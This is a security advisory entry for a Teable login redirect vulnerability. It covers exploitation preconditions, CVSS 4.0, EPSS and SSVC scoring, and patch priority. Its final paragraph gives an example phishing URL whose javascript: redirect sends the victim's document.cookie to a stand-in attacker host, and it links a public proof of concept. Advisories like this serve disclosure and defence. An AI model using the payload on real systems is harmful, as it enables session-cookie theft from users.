Teable EUVD-2026-31906

Exploitation requires that the victim click an attacker-crafted login or sign-up URL containing a malicious value in the redirect query parameter (e.g., javascript: or data: URI scheme), and then successfully complete the Teable authentication flow on that page. User interaction is mandatory per CVSS UI:P. No attacker authentication is required (CVSS PR:N). Exploitation is limited by: (1) the victim must follow the attacker's specifically crafted link rather than navigating to Teable independently; (2) the victim must complete authentication - abandoning the login page prevents the redirect from firing; (3) the attack is not automatable (SSVC: Automatable: no), ruling out mass exploitation without targeted delivery. No special server configuration or non-default deployment mode is required - the vulnerability was present in the default authentication flow of all 1.x releases prior to the patch.

The CVSS 4.0 score of 2.1 accurately reflects the constrained real-world risk: the vector (AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N) shows network-reachable and low-complexity exploitation but mandates user interaction (UI:P) and yields only low integrity impact with zero confidentiality or availability consequence. EPSS at 0.04% (11th percentile) is consistent with the low CVSS score and the absence of CISA KEV listing, indicating no confirmed active exploitation at scale. SSVC characterizes exploitation as poc-level, not automatable, with partial technical impact - aligning with a scenario that requires a victim to click a phishing link. The existence of a public POC (GitHub gist) marginally elevates urgency above a theoretical finding, but the non-automatable SSVC flag confirms that mass exploitation is not feasible without targeted social engineering. Overall, this is a real but low-priority finding: it warrants patching, but organizations without an immediate upgrade path face limited realistic risk given the user-interaction dependency.

An attacker sends a victim a phishing link to the Teable login page with a crafted redirect parameter such as https://teable.example.com/login?redirect=javascript:fetch('https://attacker.example/steal?c='+document.cookie). When the victim authenticates, the application follows the unvalidated redirect, executing the attacker's JavaScript payload in the victim's browser session. A public proof-of-concept demonstrating this technique is available at https://gist.github.com/TrebledJ/98575dc5aecb47433f02ff942e6aedf1.